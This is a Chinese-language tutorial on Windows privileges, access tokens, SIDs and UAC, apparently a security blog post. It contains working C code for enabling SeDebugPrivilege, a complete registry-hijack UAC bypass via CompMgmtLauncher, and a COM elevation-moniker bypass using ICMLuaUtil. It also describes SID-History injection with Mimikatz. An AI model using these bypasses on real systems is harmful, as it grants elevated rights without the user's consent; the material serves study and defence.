账户权限与特权

用户的权限可以通过本地安全策略(LSA,LocalSecurity Authority)进行查看,本地安全策略的位置——C:\Windows\System32\secpol.msc:

根据使用的场景,这些权限可以被分为两类:账户权限和特权。

账户权限
账户权限(accountright)是把“执行某一特定登录类型的能力”授权或拒绝给账户。
当一个用户以交互方式登录到一台机器上时,Winlogon调用LogonUser。LogonUser函数中有一个参数指明了要执行的登录的类型:交互式登陆、网络登陆、批方式登录、服务方式登录、终端服务器客户。
在本地安全策略中账户权限都包含包含“logon(登录)”字符。

上表列出了Windows定义的账号权限,通过LSAAddAccountRights、LSARemoveAccountRights、LsaEnumerateAccountRights函数可以增删查询权限(包括特权)。

特权
特权(privilege)是指一个账户执行某个与系统相关的操作的权限。
账户权限在登录请求响应时由LSA强制使用,而特权是由不同的组件定义的,由这些组件强制使用。
常见的一些特权有:
SeAssignPrimaryTokenPrivilege 替换进程级令牌
SeBackupPrivilege 备份文件和目录
SeDebugPrivilege 调试程序
SeIncreaseQuotaPrivilege 调整进程的内存配额
SeTcbPrivilege 作为操作系统的一部分来执行
在用户模式下,调用PrivilegeCheck或LsaEnumerateAccountRights查看一个令牌是否有特权;在内核模式下,使用SeSinglePrivilegeCheck或SePrivilegeCheck查看。

账户权限包括允许权限和拒绝权限两类,但特权只有一种,但是可以被启用或禁用。

无论是账户权限还是特权,都是用户拥有的。不过账户权限是用户在登录过程中发挥作用,在登录过程中,LSA根据LSA策略数据库中用户的账号权限决定用户是否能够登录;而特权是用户的进程在执行中发挥作用,进程需要特权才能执行某些操作。

访问令牌
进程是如何判断自己属于哪个账户,又是如何判断是否具有执行某操作的特权?这就要引入访问令牌(accesstoken)的概念了。
当用户登录后,系统此时会为用户生成一个访问令牌。之后,该用户执行的每个进程都会拥有一个该访问令牌的拷贝。访问令牌是用来描述进程或线程安全上下文的对象。安全上下文中包含的信息是描述了与该进程或线程相关联的账户、组和特权,也包含了会话ID、安全标识符(SID)、完整性级别和UAC虚拟化状态之类的信息。

令牌的大小是不固定的,不同的用户账户有不同的特权集合和它们关联的组用户集合。令牌中比较重要的信息如下图所示:

令牌中SID和特权都能决定程序是否能够执行某种操作。首先是SID,令牌中的SID说明了进程属于哪个用户,也说明了这个用户的账号是哪些组的成员。当程序执行用户请求的一些操作时,它可以禁止某些特定的组,属于该组的用户都无法执行该操作。另一方面,执行某些操作需要特定的权限,没有该特权就无法执行该操作。

访问令牌分为两种:主令牌和模拟令牌。

每一个进程都具有一个唯一的主令牌。在默认的情况下,当线程被开启的时候,进程的主令牌会自动附加到当前线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。而指定线程的模拟令牌的过程被称为模拟。

安全标识符SID
安全标识符(SecurityIdentifiers,SID),是标识用户、组和计算机帐户的唯一标识符。Windows系统(进程)是通过SID识别用户或组的,而不是通过用户名或组名。

每个账户在创建时,就会被分配唯一的SID,可以通过whoami/user 查看当前用户的SID:

SID是一个可变长度,包含三部分:SID结构版本号,48位标识符机构值,以及可变的32位子机构值或相对标识符(RID,relativeidentifier)。

上图所示的SID字符串,“S”是SID前缀,接下来每个部分用“-”来分隔。在这个SID中,版本号是1。标识符机构(IA)值是5,表示颁发机构是NT机关。再接下来四个值是子机构(SA)值,21表明SID由一个域控制器或者一台单机颁发,随后的一长串数字(2652472356-2509895215-1776492106)就是颁发SID的那个域或机器的SA。最后的1001是RID,每个用户都不一样,RID是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)。

指派给用户、计算机和组的RID从1000开始,500-999的RID被专门保留起来、表示在每个Windows计算机和域中通用的账户和组,它们称为“已知RID”有些已知RID会附加到一个域SID上,从而构成一个惟一的标识符。另一些则附加到BuiltinSID(S-1-5-32)上,指出它们是可能具有特权的Builtin账户。用户账户和组的RID是从1000开始的,每个新的用户或组,RID都会向上递增。例如上图中RID是1001,表示这是该域中发放的第二个用户或组。

UAC
在window中有些用户所在的组具有较大的权限,eg:内置的管理员(Build-InAdministrator)、域管理员(DomainAdministrator)等;有些用户拥有的特权的权力较大,eg:SeDebugPrivilege。
如果为这样的用户的令牌分配这些权力很大的账户权限或特权,就会产生巨大的安全隐患。所以,微软就想办法为这样的用户分配权力不是那么大的令牌——受限的访问令牌,于是便引入了用户账户控制(UAC,UserAccount Control)机制。
如果UAC禁用了,那么管理员运行时使用的令牌就会包含管理员组的成员和特权。
如果UAC启用了,当用户登录管理员账户时,系统就会创建两个令牌,已过滤的管理员令牌(受限的访问令牌,移除了绝大部分特权;)和一个普通的管理员令牌。在管理员用户会话中创建进程时,通常使用的都是已过滤的管理员令牌。如果该进程需要完整的管理员权限,那么就会弹出UAC提示框,让用户选择执行一次UAC权限提升。

使用UAC的另一个好处是可以实现文件和注册表的虚拟化,又被称为UAC虚拟化。标准用户应用程序写入受保护的系统资源位置(文件或注册表),这些应用程序将通过虚拟化被重新定向至用户各自的位置,因此UAC虚拟化也被称为重定向。举个例子,一个标准用户应用程序开启了UAC虚拟化,假设这个程序创建了C:\Windows\123.txt文件,在标准用户应用程序看来他创建的文件绝对路径就是C:\Windows\123.txt(尽管标准用户没有C:\Windows\文件夹下的写权限);如果这个时候,你禁用UAC虚拟化或者提升UAC权限,那么你就会发现,它创建的文件的真实位置是%LOCALAPPDATA%\VirtualStore\Windows\123.txt。64位程序、非交互程序(服务)、具有管理员权限的进程都不启用UAC虚拟化。

访问令牌权限提升

访问令牌决定了进程能执行的权限,要提升进程的权限,就是要提升访问令牌的权限。
AdjustTokenPrivileges
最常用的提权方式是使用AdjustTokenPrivileges提权。

AdjustTokenPrivileges能够启用或禁用指定访问令牌(有TOKEN_ADJUST_PRIVILEGES访问)的权限,AdjustTokenPrivileges函数原型:
最常用的提权方式是使用AdjustTokenPrivileges提权。

AdjustTokenPrivileges能够启用或禁用指定访问令牌(有TOKEN_ADJUST_PRIVILEGES访问)的权限,AdjustTokenPrivileges函数原型:

BOOL AdjustTokenPrivileges(_In_ HANDLE TokenHandle, //令牌的句柄,包含要修改的权限_In_  BOOL DisableAllPrivileges,//禁用所有权限标志_In_opt_  PTOKEN_PRIVILEGES NewState,//指向TOKEN_PRIVILEGES结构,表示新的特权_In_ DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)_Out_opt_ PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer_Out_opt_ PDWORD ReturnLength //接收PreviousState缓存区要求的大小
);
//函数成功,返回非零值

新的特权被存放在TOKEN_PRIVILEGES结构中,分析TOKEN_PRIVILEGES结构:

typedef struct _TOKEN_PRIVILEGES {DWORD               PrivilegeCount;LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
typedef struct _LUID_AND_ATTRIBUTES {LUID  Luid;DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;

可以看到,AdjustTokenPrivileges在启用特权时,不是直接使用特权名称,而是使用的是LUID,这个LUID相当于特权的身份标号。

而将特权名称转换为LUID使用的API是LookupPrivilegeValue,LookupPrivilegeValue能够获取指定特权名称的LUID值,其函数原型:

BOOL LookupPrivilegeValue(_In_opt_ LPCTSTR lpSystemName, //表示要获取特权值的系统名称,本地系统直接用NULL_In_ LPCTSTR lpName, //特权名称,winnt.h中定义_Out_ PLUID lpLuid
);

使用AdjustTokenPrivileges提权的核心代码:

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//获取特权LUIDif (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)){//提权AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);}CloseHandle(hToken);}

RtlAdjustPrivilege
另一种提权方式是使用ntdll中的RtlAdjustPrivilege。RtlAdjustPrivilege是一个未公开的API,但是大佬们已经分析出它的函数原型了:

NTSTATUS RtlAdjustPrivilege
(_In_ ULONG Privilege, // 所需要的权限名称,_In_ BOOLEAN Enable, // 如果为True 就是打开相应权限,如果为False 则是关闭相应权限_In_ BOOLEAN CurrentThread, // 如果为True 则仅提升当前线程权限,否则提升整个进程的权限_Out_ PBOOLEAN Enabled // 输出原来相应权限的状态(打开 | 关闭)
)

该函数底层实现和AdjustTokenPrivileges的方式类似,可以参考本文(超链接:https://bbs.pediy.com/thread-76552.htm)。

因为该函数已经将获取进程令牌和获取LUID的过程封装好了,我们只需要直接调用该函数就可以实现提权了,核心代码:

HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
if (!hNtDll)
return;
fRtlAdjustPrivilege funcAdjustPrivilege =
(fRtlAdjustPrivilege)GetProcAddress(hNtDll, "RtlAdjustPrivilege");
if (funcAdjustPrivilege){BOOLEAN oldStatus;funcAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &oldStatus);}

添加特权——LsaAddAccountRights
前面介绍的AdjustTokenPrivileges和RtlAdjustPrivilege都是通过启用/禁用的方式设置特权,他们设置的特权都是令牌中已有的特权,如果令牌中没有该特权,我们就需要先向令牌中添加特权。

向令牌中添加特权,需要使用LsaOpenPolicy和LsaAddAccountRights这个API。但这两个API操作需要Administrator权限,所以恶意代码几乎不可能先添加特权再提权,但这不妨碍我们学习添加特权的技术。

添加特权的方式很简单,首先调用LsaOpenPolicy建立与LSA的通信,得到Policy对象,然后调用LsaAddAccountRights添加特权。这两个API的函数原型:

NTSTATUS LsaOpenPolicy(
_In_   PLSA_UNICODE_STRING SystemName,
_In_   PLSA_OBJECT_ATTRIBUTES ObjectAttributes,//为0即可
_In_   ACCESS_MASK DesiredAccess,//这里需要GENERIC_READ|GENERIC_WRITE|GENERIC_ALL GENERIC_EXECUTE
_InOut_ PLSA_HANDLE PolicyHandle
);
typedef struct _LSA_UNICODE_STRING {USHORT Length;USHORT MaximumLength;PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
NTSTATUS LsaAddAccountRights(_In_  LSA_HANDLE PolicyHandle,_In_  PSID AccountSid,_In_  PLSA_UNICODE_STRING UserRights,//特权名称_In_  ULONG CountOfRights
);

绕过用户账户控制(bypassUAC)

UAC需要授权的动作包括:配置WindowsUpdate、增加或删除用户账户、改变用户的账户类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到ProgramFiles或Windows目录、查看其他用户文件夹等。
触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数。该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
恶意代码想要获得更高的权限,就绕不过UAC机制,但是恶意代码可以根据上述机制,想办法绕过UAC弹窗(bypassUAC),在用户不知情的情况下提升程序权限。根据上述机制,bypassUAC的主要方式就是利用白名单。
Bypass UAC的危害很大,不幸的是,微软认为bypassUAC中的很多方式并不是一个漏洞,而是“原本就是这样设计的”,所以微软并不会给bypassUAC一个CVE,然后,微软就在之后版本中偷偷修复这个bypassUAC。

BypassUAC的方式很多,新的绕过方式层出不穷,微软也一直在修复这些绕过点。本文介绍的几种bypassUAC的方式在某些系统中可能已经无法使用,但不妨碍我们从中学习绕过思路。关于最新的bypass的方式,可以持续关注这里(超链接:https://github.com/hfiref0x/UACME)。

白名单程序 Bypass UAC
有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等.这些 白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作
利用CompMgmtLauncher.exe、该程序在启动时会查询注册表项”Software\classes\mscfile\shell\open\command”(msc后缀文件默认打开方式)、如果存在就会以管理员权限去执行该项默认程序。

实现代码:

#include <stdio.h>
#include    <windows.h>BOOL   SetReg(char *);int main()
{char *path = "c:\\windows\\system32\\cmd.exe";SetReg(path);
}
BOOL    SetReg(char *lpszExePath)
{HKEY hKey =   NULL;RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\classes\\mscfile\\shell\\open\\command",0,NULL,0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);if (NULL == hKey){return FALSE;}RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + lstrlen(lpszExePath)));RegCloseKey(hKey);return TRUE;
}

运行后再运行计算机管理就是管理员的CMD。推荐在虚拟机运行。

利用com elevationmoniker
利用comelevation moniker技术,可以提升COM接口的权限,而不触发UAC弹窗。

能够利用comelevation moniker技术的COM接口必须具有如下特点:

1.该COM组件注册位置在HKEY_LOCAL_MACHINE下,也就是说,需要以管理员权限注册这个COM组件才可以

2.注册表HKEY_LOCAL_MACHINE\Software\Classes\CLSID下需要指定三项键值:

{CLSID}/LocalizedString(REG_EXPAND_SZ):displayName

{CLSID}/Elevation/IconReference(REG_EXPAND_SZ):applicationIcon

{CLSID}/Elevation,Enabled(REG_DWORD):1

在Windows7(7600)中ICMLuaUtil接口就满足了这一要求,而且ICMLuaUtil接口提供了ShellExec函数来创建进程。攻击者可以利用comelevation moniker技术提升ICMLuaUtil接口的权限,提权后调用ShellExec创建指定的进程,绕过UAC。

利用comelevation moniker提升COM接口权限的核心代码:

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){BIND_OPTS3 bo;WCHAR wszCLSID[MAX_PATH] = { 0 };WCHAR wszMonikerName[MAX_PATH] = { 0 };HRESULT hr = 0;// 初始化COM环境::CoInitialize(NULL);// 构造字符串::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
//也可以使用Elevation:Highest!new:{guid} 语句if (FAILED(hr)){return hr;}// 设置BIND_OPTS3::RtlZeroMemory(&bo, sizeof(bo));bo.cbStruct = sizeof(bo);bo.hwnd = hWnd;bo.dwClassContext = CLSCTX_LOCAL_SERVER;// 创建名称对象并获取COM对象hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);return hr;}

提升COM权限之后,就可以执行ShellExec创建高权限进程


// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);

SID-History注入

每个账户都有自己的SID,除此之外,部分账户还存在一个SID-History属性。SID-History是为了支持域迁移功能的,确保用户在从一个域移动(迁移)到另一个域时能保留原有的访问权限。将用户从DomainA移动到DomainB时,将在DomainB中创建新的用户帐户,这会产生新的SID,为了保留原有的访问权限(对DomainA的访问权限),DomainA用户的SID也不能丢弃,而是将其添加到DomainB的用户帐户SID-History属性中。当迁移后的账户登录时,与该账户相关联的所有SID(包括SID-History中的SID)都将被添加到访问令牌中。

SID-History在同一个域中的作用与SID在跨越多个域的同一个林中的是相同的,这意味着DomainA中的常规用户帐户窃取DomainA中特权帐户或组的SID,然后加入自己的SID-History,这样就可以授予常规用户帐户域管理员权限,而不需要成为域管理员组的成员。

Mimikatz已经完全支持该技术了,关于该技术的具体实践,可以参考本文(超链接:https://www.4hou.com/penetration/5476.html)。

calcs/icalcs权限设置

前面介绍的都是对权限的提升,让恶意代码执行更高权限的行为,除此之外,许多恶意代码还会通过权限设置,增加分析人员分析难度。

如图所示,挖矿木马(md5:2b01c2b77a0f14f2b87eba4da423262bfe026828)使用cacls工具,将C:\ProgramData\Smart文件夹设置为system权限可访问,而administrators权限拒绝访问。

在分析工程中,为了打开C:\ProgramData\Smart文件夹,对其进行分析,我们需要先修改C:\ProgramData\Smart文件夹的权限,可以通过下列命令将该文件夹设置为所有用户可以访问:

cacls C:\ProgramData\Smart/e /t /g everyone:f/d system

cacls.exe是微软提供的操作文件ACL的工具,其用法如图所示:

在Windows7及之后版本的系统中,推荐使用icacls。

wannacry就是使用使用attrib+h隐藏其某些文件,并使用icacls设置访问权限:

权限提升 bypass相关推荐

  1. 通过Bypass UAC进行权限提升

    什么是UAC 用户账户控制(User Account control,UAC)是windows系统采用的一种控制机制,可以阻止自动安装未经授权的应用 并防止意外更改系统设置,有助于防止恶意软件损坏计算 ...

  2. 权限提升 T1548.002 绕过UAC

    ​1. 什么是 UAC 用户帐户控制 (UAC) 是 Windows Vista 和 Windows Server 2008 开始引入的一种访问控制功能.借助 UAC,应用和任务将始终在非管理员帐户的 ...

  3. 【域渗透提权】CVE-2020-1472 NetLogon 权限提升漏洞

    文章目录 声明 一.漏洞概述 二.漏洞简介 三.影响范围 四.漏洞原理 五.实战攻击测试 POC/EXP攻击.Impacket工具包 使用 Mimikatz 进行攻击测试 六.恢复用户哈希 恢复域控的 ...

  4. netlogon启动后停止_【通告更新】漏洞EXP已流出,影响巨大,微软NetLogon权限提升漏洞安全风险通告第三次更新...

    近日,奇安信CERT监测到国外安全厂商发布了NetLogon 权限提升漏洞(CVE-2020-1472)的详细技术分析文章和验证脚本.此漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS漏洞评分10 ...

  5. 第四章 权限提升分析及防御

    查询系统信息systeminfo 如果要查看特定的信息,可以使用systeminfo | findstr /B /C:"OS名称" /C:"OS版本" 主机名H ...

  6. 内网渗透测试:Windows权限提升思路

    我的Freebuf:https://www.freebuf.com/author/MrAnonymous 我的博客:https://whoamianony.top/ 文章目录 Windows系统内核溢 ...

  7. 《内网安全攻防:渗透测试实战指南》读书笔记(四):权限提升分析及防御

    目录 前言 一.系统内核溢出漏洞提权分析及防范 1.通过手动执行命令发现缺失补丁 (1)MS16-032(KB3139914) 2.利用MSF发现缺失补丁 3.Windows Exploit Sugg ...

  8. linux ssh权限漏洞,OpenSSH do_setup_env函数权限提升漏洞(CVE-2015-8325)

    OpenSSH do_setup_env函数权限提升漏洞(CVE-2015-8325) 发布日期:2016-05-02 更新日期:2016-05-04 受影响系统:OpenSSH OpenSSH &l ...

  9. WSS 代码执行的权限提升

    WSS 代码执行的权限提升 概述: WSS 默认使用身份模拟执行代码,也就是说用当前登录的用户身份执行Web Part或者自定义应用程序的代码访问.在大多数情况下,这种机制能够准确并严格地控制了标准权 ...

  10. linux系统利用可执行文件的Capabilities实现权限提升

    一.操作目的和应用场景 Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线 ...

最新文章

  1. POJ 1260 Pearls(DP)
  2. 【WPF】ListBox嵌套与事件冒泡
  3. 「Python-Bug」错误requests.exceptions.proxyerror: httpsconnectionpool解决方法
  4. 编程关键词介绍...
  5. Linux环境下实现简易的DNS域名解析过程
  6. Atitit 提升开发效率法 fx t35 Atitit 提升开发效率法---开发方法架构简化法.docx 目录 1. 主要几个层次上简化开发 1 1.1. ,开发体系方法使用简单方法 1 1.2.
  7. 按比例缩小图片的CSS代码
  8. 《线性代数》 李炯生\查建国\王新茂 中国科学技术大学 第2版 部分习题答案
  9. 手工画图和计算机画图的内在联系,工程制图与计算机绘图教案10-11-1
  10. 干货丨荧光定量pcr应用于各个领域的分类疑难问题解答
  11. 研究生查分方式-查分时间大汇总-文都管联院
  12. 基于微信小程序的租车小程序 毕业设计毕业论文 开题报告和效果图(基于微信小程序毕业设计题目选题课题)
  13. RESTful API设计简介
  14. 大数据分析行业发展趋势
  15. Excel 恢复默认行高、列宽
  16. oracle小数不显示“0”问题的解决方法
  17. 2018年回顾:但行好事,无问前程
  18. P4546 [THUWC2017]在美妙的数学王国中畅游
  19. 基于Python的数据结构实验——内排序(直接插入排序,希尔排序,冒泡排序,快速排序,选择排序,堆排序,归并排序)(附详细代码和注释)
  20. python写软件实例-30分钟学会用Python编写简单程序

热门文章

  1. 七夕动态表白代码,基于python
  2. SQL SERVER 备份数据库sql语句
  3. DB2数据库备份和恢复笔记
  4. kepware datalogger
  5. CSDN如何获得积分?
  6. 【Qt学习之路】我的Qt历程
  7. Matlab: 汉字转拼音函数包
  8. 哈夫曼树的建立(二叉链表)
  9. 19款国产手机无一幸免:15分钟破解人脸识别,打印眼镜让刷脸形同虚设
  10. keil注册机激活的方法